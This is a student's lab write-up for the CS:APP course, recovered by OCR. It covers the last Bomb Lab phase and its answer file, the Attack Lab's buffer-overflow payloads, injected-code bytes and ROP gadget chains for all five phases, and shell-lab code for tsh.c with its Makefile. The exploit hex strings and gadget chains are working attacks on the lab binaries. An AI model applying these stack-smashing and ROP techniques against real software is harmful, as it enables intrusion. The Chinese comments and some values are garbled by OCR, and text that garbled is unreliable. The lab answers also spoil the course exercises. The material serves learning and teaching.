0x18(%rsp),%rsi //rsi <= rsp + 0x18
$rld,srax //MBfrsp = rl4 = rax
$0x7,%ecx

$ecx,%edx //7

(3rax),%edx //edx -= FH—1S¥

%edx, (¥rax) //MEM(rax) <= edx

$0x4,%rax //rax + 4

/ 15 IRIES

$rsi, %rax



45

46
47
48
49
50

51
52
53
54
55
56
57

58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90

0x000000000040116d
HER AL E

0x000000000040116f£
0x0000000000401174

0x0000000000401176

<+121>: jne

<+123>: mov

<+128>: jmp

<+130>: mov

F ZEBrdx+8sNHYERFSIrdx

0x000000000040117a
0x000000000040117d
0x000000000040117£
0x0000000000401181

0x0000000000401183
0x0000000000401188
Arsp+0x20 2GR E
0x000000000040118d
0x0000000000401191
0x0000000000401195

0x0000000000401197
0x000000000040119a
0x000000000040119d
0x000000000040119f£
0x00000000004011a4
0x00000000004011a9

0x00000000004011ab
0x00000000004011b0
0x00000000004011b5
0x00000000004011ba
0x00000000004011bd
0x00000000004011c0
0x00000000004011c4
0x00000000004011c8
0x00000000004011cb
0x00000000004011cd
0x00000000004011d0
0x00000000004011d2
0x00000000004011da
0x00000000004011df
0x00000000004011e3
0x00000000004011e5
0x00000000004011e7
0x00000000004011e9
--Type <RET> for more,
0x00000000004011ee
0x00000000004011£2
0x00000000004011£5

<+134>: add

<+137>: cmp
<+139>: jne
<+141>: jmp
<+143>: mov
<+148>: mov

<+153>: add

<+157>: cmp
<+161>: je

<+163>: mov
<+166>: cmp
<+169>: jle

<+171>: mov
<+176>: mov
<+181>: jmp
<+183>: mov
<+188>: lea
<+193>: lea
<+198>: mov
<+201>: mov
<+204>: mov
<+208>: add
<+212>: cmp
<+215>: je

<+217>: mov
<+220>: jmp
<+222>: movq
<+230>: mov
<+235>: mov
<+239>: mov
<+241>: cmp
<+243>: jge

<+245>: callqg

0x401160 <phase 6+108> //B7TREBMHFHED

$0x0,%esi
0x401197 <phase 6+163>

0x8(%rdx),%rdx //HE—IRIE0x6032d8ANIEFEIrdx

$0x1, %eax

%ecx, %eax

0x401176 <phase 6+130> //ecx = eax
0x401188 <phase_ 6+148>

$0x6032d0, 3edx
$rdx,0x20(%rsp,%rsi,2) //M B BrdxfF

$0x4,%rsi //3BEFEM
$0x18,%rsi //Z5RFIRE
0x40llab <phase_ 6+183>

(%rsp,%rsi,l),%ecx //ecx

$0x1,%ecx //ecx 5 148Lb

0x401183 <phase 6+143> //WMR/NFEF1 jmp
$0x1,%eax //FIRKTF1

$0x6032d0, sedx

0x401176 <phase 6+130>

0x20(%rsp), %rbx
0x28(%rsp),%rax
0x50(%rsp),%rsi
grbx,%rcx

(%rax),%rdx
grdx, 0x8 (%rcx)

$0x8, %rax

%rsi, %rax

0x4011d2 <phase_ 6+222>
grdx, %rcx

0x4011bd <phase 6+201>
$0x0,0x8(%rdx)

$0x5, %ebp
0x8(%rbx),%rax
(%rax),%eax

%eax, (%rbx)

0x40llee <phase 6+250> //0x8(rbx) >= (rbx)
0x40143a <explode bomb>

g to quit, c to continue without paging--

<+250>: mov
<+254>: sub

<+257>: jne

0x8(%rbx), %rbx
$0x1, %ebp
0x4011df <phase 6+235>



0x00000000004011£7 <+259>: add $0x50, %rsp
0x00000000004011fb <+263>: pop $rbx
0x00000000004011fc <+264>: pop $rbp
0x00000000004011fd <+265>: pop $rl2
0x00000000004011ff <+267>: pop $rl3
0x0000000000401201 <+269>: pop $rl4
0x0000000000401203 <+271>: retqg

End of assembler dump.

A &RICYwid 2R AIread_six_numberBREMEHANTEF, ERBMANTEF ERprintREEM KRR
11‘[%0

HXBHMANE123456

Breakpoint 1, in phase_6 ()
(gdb) ni

in phase_6
(gdb)

in phase_6
(gdb)

in phase_6
(gdb)

in phase_6
(gdb)

in phase_6
(gdb)

in phase_6
(gdb)

in phase_6

(gdb)

in phase_6
(gdb)

in phase_6
(gdb)

in phase_6
(gdb)

in phase_6
(gdb) print x) $rsp
$1 =1
(gdb) print x) $rsp + 4
$2 =5
(gdb) print x) $rsp + 1
$3 = 2
(gdb) print x) ($rsp + 4)
$4 = 2
(gdb) print *) ($rsp + 8)
$5 =3
(gdb) print x) ($rsp + 12)
$6 = 4
(gdb) print *) ($rsp
$7 =5
(gdb) print x) ($rsp
$8 = 6
(gdb)




0x000000000040116d <+121>:  jne 0x401160 <phase 6+108> //A7TBEBMNHFEHEZEIE
BRI E

FTR7TBEB T HFHFERNNME,

0x0000000000401176 <+130>: mov 0x8(%rdx),srdx //HF—/RIE0x6032d8IEFErdx
F ZEErdx+8WAYEFERrdx

0x000000000040117a <+134>:  add $0x1,%eax

0x000000000040117d <+137>:  cmp %ecx, ¥eax

0x000000000040117f <+139>: jne 0x401176 <phase 6+130> //ecx = eax

0x0000000000401181 <+141>:  jmp 0x401188 <phase 6+148>

0x0000000000401183 <+143>:  mov $0x6032d0, ¥edx

0x0000000000401188 <+148>:  mov grdx,0x20(8rsp,srsi,2) //fI¥ B BrdxfF
)\rsp+0x202)ﬁﬂ"3fﬁ§

0x000000000040118d <+153>:  add $0x4,%rsi //1BE 2

0x0000000000401191 <+157>:  cmp $0x18,%rsi //Z5RFIRT

0x0000000000401195 <+161>:  je 0x401lab <phase 6+183>

0x0000000000401197 <+163>: mov (%rsp,%rsi,1l),%ecx //ecx
0x000000000040119a <+166>: cmp $0x1,%ecx //ecx 5§ 118ttt
0x000000000040119d <+169>:  jle 0x401183 <phase 6+143> //WIR/NFEHFF1 jmp
0x000000000040119f <+171>:  mov $0x1,%eax //UIRKF1

0x00000000004011a4 <+176>:  mov $0x6032d0, $edx

0x00000000004011a9 <+181>:  jmp 0x401176 <phase 6+130>

EERACARLETA TR T R RABATAI UG edx N —T 185 BRBEINE F—MEH BB EMNIET Hi)h
ANBEI BN AY7 - I Z RN FTEEFIEHAURE, BEBEA7 - VNTFEFT1RERR 0x6032d0 FAENL
B,

BANMQETE 0x6032d0 AYE A W{EN332, H mov 0x8 (%rdx), srdx X{TIEX1EH 0x6032d0 + 8 LAY
BEAT—NEH (FBYTFLink -> next) . ZEHIEGEZEML,

BEESE 0x603240 WMEFI T —E btk an T

Breakpoint 1, in phase_6 ()
(gdb) print *(int %) 0x6032d0

$24 = 332

(gdb) print *(int %) 0x6032d8

$25 = 6304480

(gdb) print /x *(int %) @0x6032d8
$26 = 0x6032e0

(gdb) |

DAEZEHE -

SN SEMRKR T332 168 924 691 477 443 B NG S,

RAFIHMED:



A U1 s W N

10
11
12
13
14
15
16
17
18

0x00000000004011ab
0x00000000004011b0
0x00000000004011b5
0x00000000004011ba
0x00000000004011bd
0x00000000004011cO

Hbiik+8

0x00000000004011c4
0x00000000004011c8
0x00000000004011cb
0x00000000004011cd
0x00000000004011d0
0x00000000004011d2
0x00000000004011da
0x00000000004011df
0x00000000004011e3
0x00000000004011e5
0x00000000004011e7
0x00000000004011e9

<+1
<+1
<+1
<+1
<+2

<+2

<+2
<+2
<+2
<+2
<+2
<+2
<+2
<+2
<+2
<+2
<+2
<+2

83>: mov 0x20(%rsp),srbx //rsp+20/gMlE—" 185

88>: lea 0x28(%rsp),%srax //rsp+20/gMIEE e HbiE
93>: lea 0x50(%rsp),%rsi //HkEHHE

98>: mov grbx,%rcx //BI—TEH Erex®

01>: mov (%rax),srdx //FE—1"TErdxH

04>: mov 3rdx,0x8 (%rcx) //BE—T1IEHERRI—EFRXI AT

08>: add $0x8,%rax //raxigm ~T—"7TE

12>:  cmp grsi,srax //HERETAEIRE

15>: je 0x4011d2 <phase 6+222>

17>: mov $rdx, $rcxi

20>: jmp 0x4011bd <phase 6+201>

22> movqg $0x0,0x8(%rdx)

30>: mov $0x5, %ebp

35>: mov 0x8 (%rbx),%rax

39>: mov (%rax),%eax

41>: cmp %eax, (%rbx)

43>: jge 0x401llee <phase 6+250> //0x8(rbx) >= (rbx)

45>: callg 0x40143a <explode_bomb>

HXRAEFTAMBENFBEZLLBRAE R - MERK/I BHFINIZMAREIN 93 4 5 6 1 2

7-i432165

BMAFATBITHL RHRAF S TREE

MZEENL32165

ans.txt
1
2
3 12 4 8 16 32
4
5 0 207
6
7 70
8
9 ionefg
10
11 432165

TER—IL

Border relations with Canada have never been better.



v HOME [SSH: VLAB.USTC.EDU.CN]

7 wm .VoLudgc-icliivlc

> I Xil
> B Xilinx
> I AN
> I R
> I
> B EkR
v [k X1/ Code
> @@ COD
v @ CSAPP
v [ bomb
> BB recd
ans.txt
bomb
bomb.c
README
> B8 data
v [ shlab-handout
csapp.c
csapp.h
csapp.o
Makefile
myint

Attack Lab
Phase 1

ubuntu > X#4 > Code > CSAPP > bomb > ans
1 Border relations with Canada have never been better.

124816 32

0 207

70

ionefg

432165

15175 i Jm|
- |
s’

ans.txt bol

bomb.c README

Axt

# 1s -a

# ZYY P82011163OI

Your task is to get CTARGET to execute the code for touchl when getbuf executes its

return statement,

rather than returning to test.

B4 disas getbuf

(gdb) disas getbuf
Dump of assembler code for function getbuf:

<+0>:
<+4>:
<+7>:
<+12>:
<+17>:
<+21>:

End of assembler dump.
(gdb) zYYj

FH add $0x28, srsp A& HPXAK/NE40TWE & TEM SR EHL,

Blw]

sub
mov
callq
mov
add
retq

$0x2
%rsp

$0x1
$0x2

==
F{Hﬁ

8,%rsp
,%rdi
<Gets>
, %eax
8,%rsp

A0 IR F At FEEDR [E] it



JR[EIHEE: dsas touchl

(gdb) disas touchl
Dump of assembler code for function touchl:
<+0>: sub $0x8,%rsp
<+4>: mov 1 $0x1,0x202d0e(%rip) <vlevel>
<+14>: mov $0x4030c5,%edi
<+19>: callq <puts@plt>

<+24>: mov $0x1,%edi

<+29>: callg <validate>

<+34>: mov $0x0,%ed1

<+39>: callqg <exit@plt>
End of assembler dump.

(gdb) i

= 0x4017c0 {FR/NFEFETFE B co 17 40

00 00 00 00 00 00 00 OO
00 00 00 00 00 00 00 OO
00 00 00 00 00 00 00 0O
00 00 00 00 00 00 00 0O
00 00 00 00 00 00 00 0O
cO 17 40 00 00 00 00 0O

SERIEH:

root@VM3242-zyy: e ; [ # chmod 777 hex2raw
root@VM3242-zyy: ; i lab# chmod 777 ctarget
root@VM3242-zyy: M ; i lab# cat resl.txt | ./hex2raw | ./ctarget —q
Cookie: @0x59b997fa
Type string:Touchl!: You called touchl()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:

user id bovik

course 15213-f15

lab attacklab

result 1:PASS:oxffffffff:ctarget:1:00 0
0 00 00 00 00 00 00 00 00 00 00 00 00 CO 17 40 0
root@VM3242-zyy: me ; e

0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
0 00
#

0 00 0
0 00 0

Phase 2

Your task is to get CTARGET to execute the code for touch2 rather than returning to
test. In this case,
however, you must make it appear to touch2 as if you have passed your cookie as its

argument.

XEFEIE rdi IRER cookie WE HTHEIFTIUER ret HiSITH|

movqg $0x59b997fa, %rdi
pushqg 0x4017ec

ret



48 c7 c7 fa 97 b9 59
68 ec 17 40 00
33

Rt E AR N E FZIRY 7 HECEE AT

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 0O
00 00 00 00 00 00 00 0O
00 00 00 00 00 00 00 0O
78 dc 61 55 00 00 00 00

root@VM3242-zyy: I # cat res2.txt | ./hex2raw | ./ctarget —q
Cookie: 0x59b997fa

Type string:Touch2!: You called touch2(@x59b997fa)

Valid solution for level 2 with target ctarget

PASS: Would have posted the following:

user id bovik

course 15213-f15

lab attacklab

result 1:PASS:Oxffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 O
0 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

Phase 3

Your task is to get CTARGET to execute the code for touch3 rather than returning to
test. You must
make it appear to touch3 as if you have passed a string representation of your cookie as

its argument.
FEIE cookie M AI6HBIAREEEETHRZE L, KREUHERNSEIXE] rdi ,

cookie ¥ 16#H: 35 39 62 39 39 37 66 61 FXEMESEFASWESIMUE (srsplEEH
0x5561dca8 )

mov $0x5561dca8, $rdi
pushg $0x4018fa
retq

RICRSEIERNT:

48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 0O
00 00 00 00 00 00 00 0O
00 00 00 00 00 00 00 0O
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61



root@VM3242-zyy: # cat res3.txt | ./hex2raw | ./ctarget —q
Cookie: 0x59b997fa

Type string:Touch3!: You called touch3("59b997fa")

Valid solution for level 3 with target ctarget

PASS: Would have posted the following:

user id bovik

course 15213-f15

lab attacklab

result 1:PASS:oxffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61
root@VM3242-zyy: = # I

Phase 4

ROP|a] &%

® |t uses randomization so that the stack positions differ from one run to another. This makes it
impossible to determine where your injected code will be located. #% B, FEATREEG ZHIFRHE
BRI IE AR £

e |t marks the section of memory holding the stack as nonexecutable, so even if you could set the
program counter to the start of your injected code, the program would fail with a segmentation
fault.PCcToiE B @MLK

FE(EB) gadget LI (FEFH—EPAret G RAVFHRIERFS)

HpopiE SRR Efram3% 3] pop $rax ] mov srax,srdi , Bfi17£ addval 219 ] addval 273 H1,

gdb) disas addval_219

Dump of assembler code for function addval_219:
<+0>: lea -0x6fa78caf(%rdi) ,%eax
<+6>: retq

End of assembler dump.

(gdb)

(gdb) disas addval_273

Dump of assembler code for function addval_273:
<+0>: lea -0x3c3876b8(%rdi) ,%eax
<+6>: retq

End of assembler dump.

58 90 popq %rax popq 5L HIEF: 0x4019ab
48 89 c7 movl %rax,%rdi movlfgttit#9:0x4019a2

HWEIE(IZE, BretiREIEIRN 0x4019ab f[5Hit%, £ ret addr + 8 BUih5IRE cookie, +16H9HITIR
B mov Bttt (0x4019a2) HITZZEEHIT—/Rret, TS ret addr + 24 1% touch2 FFkithiit,

BARBAT (RI40 M FHIRAEITIRFRT)



00 00 00 00 00 00 00 OO
00 00 00 00 00 00 00 OO
00 00 00 00 00 00 00 0O
00 00 00 00 00 00 00 0O
00 00 00 00 00 00 00 0O
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 0O

o00t@VM3242-zyy: 3 PP/att # cat res4.txt - ./rtarget —q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(@x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik

course 15213-f15

lab attacklab

result 1:PASS:oxffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 O
0 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 0
0 00 00
root@VM3242-zyy: /home/ubunti 2 I ttacklab# I

Phase 5
EEEEImoviiES BN E BN, BEHERMEI T8 gadgets
FEH 2 srsp MRIEEITE H cookie 5 Sttt

A farm FiY add_xy REER RFHEX—EHMNgadgets RENUEFRFRFHEA.

movqg 3%rsp, %rax

movqg %rax, %rdi

popg %rax

movl %eax, %edx

movl %edx, %ecx

movl %ecx, %esi

lea (%rdi,%rsi,l),%rax

movqg %rax, %$rdi

WEIENIXS AN O, B R 73

solution:

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00O OO

06 la 40 00 00 00 00 00 # movg %rsp, %rax

a2 19 40 00 00 00 00 00 # movqg %rax, %rdi

ab 19 40 00 00 00 00 00 # popg %rax

48 00 00 00 00 00 00 00 # distance from here to cookie string



dd 19 40 00 00 00 00 0O
70 la 40 00 00 00 00 0O
13 1la 40 00 00 00 00 0O
dée 19 40 00 00 00 00 0O
c5 19 40 00 00 00 00 0O
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61

movl %eax, %edx
movl %edx, %ecx
movl %ecx, %esi
lea (%rdi, %rsi, 1), %rax
movqg %rax, %$rdi

touch3

HFOoH W OH W H W

cookie string

Z |tk Attack Lab 45

root@VM3242-zyy: : e # cat res5.txt | ./hex2raw | ./rtarget —q
Cookie: @0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15

lab attacklab
result 1:PASS:oxffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48

00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 70 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C
5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61
root@VM3242-zyy: # I

Shell Lab

RTFEAZIRAZIMNOSIRIZSZINF, RAEESII T —PShell9iB4hE, 5CSAPPHIShellfYSEE
HAEE, OSIRIERIShel MYBRELIAE NS, RN TN ZEBNEE@MNER, EREESHENERKR
BCSAPPH

OS Shell labfBxCIB5EIE (FRAYE: https://github.com/Fluuuegel/USTC-0OS-lab-2022)

FREIERBAVEIMA T EREL:

e eval: Main routine that parses and interprets the command line. [70 lines]

e builtin cmd: Recognizes and interprets the built-in commands: quit, fg, bg, and
jobs. [25 lines]

e do bgfg: Implements the bg and fg built-in commands. [50 lines]

e waitfg: Waits for a foreground job to complete. [20 lines]

e sigchld handler: Catches SIGCHILD signals. 80 lines]

e sigint handler: Catches SIGINT (ctrl-c) signals. [15 lines]

e sigtstp handler: Catches SIGTSTP (ctrl-z) signals. [15 lines]

eval

LI TRYRIER S, RBFRNAEfork FHF2 Z B{EMsigprocmaskfEZESIGCHLDIE S, AEEUHEZE XL
55, £AMaddjobgFHERMBNETIREER{EAsigprocmask, BT FHENHE T ERHIZHEZE
vectors, EFFHFENITIRIRERITIIZR ZBIfEFREZESIGCHLDE S,

void eval(char *cmdline)

{


https://github.com/Fluuuegel/USTC-OS-lab-2022

char *argv[MAXARGS]; /1 RBEREDRIESECcSarpPiE
char buf [MAXLINE];

int bg;

pid_t pid;

strcpy(buf, cmdline);

bg = parseline(buf, argv);

if (argv[0] == NULL) return;

if (!builtin cmd(argv)) {

sigset_t mask_all, mask one, prev_one;
Sigfillset(&mask_all);

Sigemptyset (&mask_one);

Sigaddset (&mask_one, SIGCHLD);

/* Ri#tFEfork ZBIPEZESIGCHLD */
Sigprocmask(SIG_BLOCK, &mask_one, &prev_one);

if ((pid = Fork()) == 0) {
/* BUHBHZESIGCHLD */
Sigprocmask(SIG_SETMASK, &prev_one, NULL);
Setpgid (0, 0);
if (execve(argv[0], argv, environ) < 0) {
printf("%s: Command not found\n", argv[0]);

exit(0);

}
Sigprocmask(SIG BLOCK, &mask all, NULL);

addjob(jobs, pid, (bg != 0) ? BG : FG, cmdline);

Sigprocmask(SIG_SETMASK, &prev_one, NULL);

/* RHARFFRISIEWER */

if (!bg) waitfg(pid);

else printf("[%d] (%d) %s", pid2jid(pid), pid, cmdline);
}

return;

builtin_cmd

WhER, RBERFRSBERRSFIREIR,

int builtin cmd(char **argv)
{
/* (S strcmpRERIT */
if (!strcmp(argv[0], "quit")){
exit(0);
} else if (!strcmp(argv[0], "bg") || !strcmp(argv[0], "fg") ) {
do_bgfg(argv);
return 1;
} else if (!strcmp(argv[0], "jobs")) {
listjobs(jobs);



11 return 1;

12 }
13 return 0; /* not a builtin command */
14 |}

do_bgfg

REHNITAENDg fgin <, BRASHRESIER, BEMjidIpd, ZEENBEH, FEISHZERK
NERENREEHENEFTEFAwatigRIAEEERMAHARER (HIABEAAHE)

1  void do_bgfg(char **argv)

2 {

3 if (argv[1l] == NULL) {

4 printf ("Wrong argv[0]\n");

5 return ;

6 }

7

8 int jid;

9 pid_t pid = 0;

10 struct job_t *job = NULL;

11 sigset t mask_all, prev_all;

12

13 if (argv[1l][0] == '&') {

14 jid = atoi(argv[l] + 1);

15 if (jid == 0) {

16 printf("Wrong argv[0]\n");
17 return ;

18 }

19 job = getjobjid(jobs, jid);
20 if(job == NULL) {
21 printf("%d: Job not exists\n", jid);
22 return ;
23 } else {
24 pid = job->pid;
25 }
26 } else {
27 pid = atoi(argv[l]);
28 if (pid == 0) {
29 printf ("Wrong argv[0]\n");
30 return;
31 }
32 if ((job = getjobpid(jobs, pid)) == NULL) {
33 printf("%d: Process not exists\n", pid);
34 return;
35 }
36 }
37 Sigfillset(&mask_all);

38 Sigprocmask(SIG_BLOCK, &mask_all, &prev_all);



Kill(-pid, SIGCONT);
if (!strcmp(argv[0], "fg")) job->state = FG;
else {
job->state = BG;
printf("[%d] (%d) %s", job->jid, job->pid, job->cmdline);
}
/* BEZE */
Sigprocmask (SIG_SETMASK, &prev_all, NULL);
if (!strcmp(argv[0], "fg")) waitfg(pid);

return;

waitfg

SRR E (busy loop) REIZFEERRIRISHIELE R,

void waitfg(pid_t pid)

{
struct job_t *job;
while ((job = getjobpid(jobs, pid)) && job->state == FG) {
Sleep(0.1);
}
return;
}

sigchld_handler

ERIEF F iz,

void sigchld handler(int sig)
{
pid_t pid;
int status;
while ((pid = waitpid(-1, &status, WNOHANG | WUNTRACED)) > 0) {
/* IEFEIRH */
if (WIFEXITED(status)) {
deletejob(jobs, pid);
}else if (WIFSTOPPED(status)) {
/* BEESHEISRL +/
printf("Job [%d] (%d) stopped by signal %d\n", pid2jid(pid), pid,
WSTOPSIG(status));
getjobpid(jobs, pid)->state = ST;
} else {
if (WIFSIGNALED(status)) {
printf("Job [%d] (%d) terminated by signal %d\n", pid2jid(pid),
pid, WTERMSIG(status));
deletejob(jobs, pid);



17 }

18 }
19 }

20 return;
21}

ATECSAPPEM TR, printf HAR—TEAREREHIRE, MRRHEREHNE, FJRERIEMTEHi(dead
lock)ZF[al@, MFANEIFERERcsapp.cRHEIFNEERERE sio_puts RECKE printf , IUIBRIE
o

1  void sigchld handler(int sig)

2 | {

3 pid t pid;

4 int status;

5 struct job t* job;

6

7 while ((pid = waitpid(-1, &status, WNOHANG | WUNTRACED)) > 0) {
8 /* IEEIRH */

9 if (WIFEXITED(status)) {

10 deletejob(jobs, pid);

11 }else if (WIFSTOPPED(status)) {

12 /* BEfESHEESRL */

13 //printf("Job [%d] (%d) stopped by signal %d\n", pid2jid(pid), pid,

WSTOPSIG(status));

14 job = getjobpid(jobs, pid);

15 Sio _puts("Job [");

16 Sio _putl(job->jid);

17 Sio puts("1 (");

18 Sio_putl(pid);

19 Sio puts(") stopped by signal ");
20 Sio putl (WSTOPSIG(status));
21 Sio puts("\n");
22 job->state = ST;
23 } else {
24 if (WIFSIGNALED(status)) {
25 //printf("Job [%d] (%d) terminated by signal %d\n", pid2jid(pid),

pid, WTERMSIG(status));

26 Sio puts("Job [");

27 Sio putl(pid2jid(pid));

28 Sio puts("1 (");

29 Sio putl(pid);

30 Sio puts(") terminated by signal ");
31 Sio putl (WTERMSIG(status));

32 Sio puts("\n");

33 deletejob(jobs, pid);

34 }

35 }

36 }



37 return;
38  }

sigint_handler #{ sigtstp_handler

XM MES LRI IEZEEMN, RFBEAKIFRIESEE,

1| /*

2 * sigint handler - The kernel sends a SIGINT to the shell whenever the
3 * user types ctrl-c at the keyboard. Catch it and send it along
4 * to the foreground job.

5 */

6 void sigint_handler(int sig)

7

8 pid_t pid;

9 if (pid = fgpid(jobs)) Kill(-pid, SIGINT);

10 return;

11 | }

12

13 | /*

14 * sigtstp handler - The kernel sends a SIGTSTP to the shell whenever
15 * the user types ctrl-z at the keyboard. Catch it and suspend the
16 * foreground job by sending it a SIGTSTP.

17 */

18 void sigtstp handler(int sig)

19 | {
20 pid_t pid;
21 if (pid = fgpid(jobs)) Kill(-pid, SIGTSTP);
22 return;
23 |}

(ARG
makefile fEANI NN, HmiEATHEHE csapp.o:

1 # Makefile for the CS:APP Shell Lab

2 TEAM = NOBODY

3  VERSION = 1

4  HANDINDIR = /afs/cs/academic/class/15213-f02/L5/handin
5 DRIVER = ./sdriver.pl

6 TSH = ./tsh

7 TSHREF = ./tshref

8 TSHARGS = "-p"

9 CC = gcc

10 CFLAGS = -Wall -02

11  FILES = ./myspin ./mysplit ./mystop ./myint
12

13 all: tsh $(FILES)



csapp.o:

$(CC) $(CFLAGS)

tsh.o:

csapp.c csapp.h

tsh.c csapp.h
$(CC) $(CFLAGS)

-c tsh.c

tsh: tsh.o csapp.o
$(CC) $(CFLAGS) tsh.o csapp.o -o tsh

LU L L) L L L ) L L )

LL L (A

# Handin your work

LL L JL ) L) L) ) L ) ) )

L/ (A A

# handin:

-c csapp.c

# cp tsh.c $(HANDINDIR)/$(TEAM)-$(VERSION)-tsh.c

1L L L ff L L L ) L )

L/ (1

# Regression tests

LU L L)L) ) ) L )

LZ L L

# Run tests
testO1l:

$ (DRIVER)
test02:

$ (DRIVER)
test03:

$ (DRIVER)
test04:

$ (DRIVER)
test05:

$ (DRIVER)
test06:

$ (DRIVER)
test07:

$ (DRIVER)
test08:

$ (DRIVER)
test09:

$ (DRIVER)
testl0:

$ (DRIVER)
testll:

$ (DRIVER)
testl2:

$ (DRIVER)
testl3:

$ (DRIVER)
testl4d:

using the student's shell program

-t

~t

—t

=

-t

-t

tracel0l.txt

trace02.txt

trace03.txt

trace04.txt

trace05.txt

trace06.txt

trace07.txt

trace08.txt

trace09.txt

tracell.txt

tracell.txt

tracel2.txt

tracel3.txt

-S

$ (TSH)

$ (TSH)

$ (TSH)

$ (TSH)

$ (TSH)

$ (TSH)

$ (TSH)

$ (TSH)

$ (TSH)

$ (TSH)

$ (TSH)

$ (TSH)

$ (TSH)

-a

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS )

$ (TSHARGS)



S

$ (DRIVER)
testl5:

$ (DRIVER)
testl6:

$ (DRIVER)

-t tracel4.txt -s $(TSH)

-t tracel5.txt -s $(TSH)

-t tracel6.txt -s $(TSH)

-a $(TSHARGS)

-a $(TSHARGS)

-a $(TSHARGS)

# Run the tests using the reference shell program

rtest01l:

$ (DRIVER)
rtest02:

$ (DRIVER)
rtest03:

$ (DRIVER)
rtest04:

$ (DRIVER)
rtest05:

$ (DRIVER)
rtest06:

$ (DRIVER)
rtest07:

$ (DRIVER)
rtest08:

$ (DRIVER)
rtest09:

$ (DRIVER)
rtestl0:

$ (DRIVER)
rtestll:

$ (DRIVER)
rtestl2:

$ (DRIVER)
rtestl3:

$ (DRIVER)
rtestl4d:

$ (DRIVER)
rtestl5:

$ (DRIVER)
rtestlé6:

$ (DRIVER)

# clean up

clean:

-t

=it

-t

-t

-t

-t

=it

tracel0l.txt

trace02.txt

trace03.txt

trace04.txt

trace05.txt

trace06.txt

trace07.txt

trace08.txt

trace09.txt

tracell.txt

tracell.txt

tracel2.txt

tracel3.txt

traceld.txt

tracel5.txt

tracel6.txt

rm -f $(FILES) *.o0 *~

B—izT8TIER

=S

$ (TSHREF)

$ (TSHREF)

$ (TSHREF )

$ (TSHREF)

$ (TSHREF)

$ (TSHREF )

$ (TSHREF )

$ (TSHREF )

$ (TSHREF)

$ (TSHREF )

$ (TSHREF)

$ (TSHREF )

$ (TSHREF)

$ (TSHREF)

$ (TSHREF )

$ (TSHREF )

-a

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS)

$ (TSHARGS)



@ BREER

v HOME [SSH: VLAB.USTC.E... v

v @ CSAPP .
root@VM3242-zyy: /home/ubuntu/3Z #4 / SAPP/shlab-handout# 1s
> I bomb csapp.c  myint mysplit README trace@3.txt traced7.txt tracell.txt tracel5.txt tsh.o
> W@ data csapp.h  myint.c mysplit.c sdriver.pl trace@4.txt trace@8.txt tracel2.txt tracel6.txt tshref
hiab-hand csapp.o  myspin mystop trace@l.txt trace@5.txt trace@9.txt tracel3d.txt tsh tshref.out
» @ shlab-handout Makefile myspin.c mystop.c trace@2.txt trace06.txt traceld.txt traceld.txt tsh.c
csapp.c root@VM3242-zyy: /home/ubuntu/3Z #4 /( shlab-handout# make test@l
./sdriver.pl -t trace@l.txt «/tsh -
#
csapp.o # trace@l.txt - Properly terminate on EOF.
Makefile &
. root@VM3242-zyy: /home/ubuntu/3Z #4 /Co APP b-handout# make test02
myint ./sdriver.pl -t trace@2.txt -s ./tsh -a
myint.c #
A # trace@2.txt - Process builtin quit command.
myspin #
myspin.c root@VM3242-zyy: /home/uk /X 4 /Code/CS shlab-ha t# make test@3
./sdriver.pl -t trace@3.txt -s ./tsh -a "
#
mysplit.c # trace@3.txt - Run a foreground job.
#
tsh> quit
mystop.c root@VM3242-zyy: /home/ubuntu/3 #4 /Code/CSAPP/shlab-ha t# make testo4
README ./sdriver.pl -t trace@4.txt -s ./tsh -
5 #
sdriver.pl # trace@4.txt - Run a background job.
trace01.txt #
tsh> ./myspin 1 &
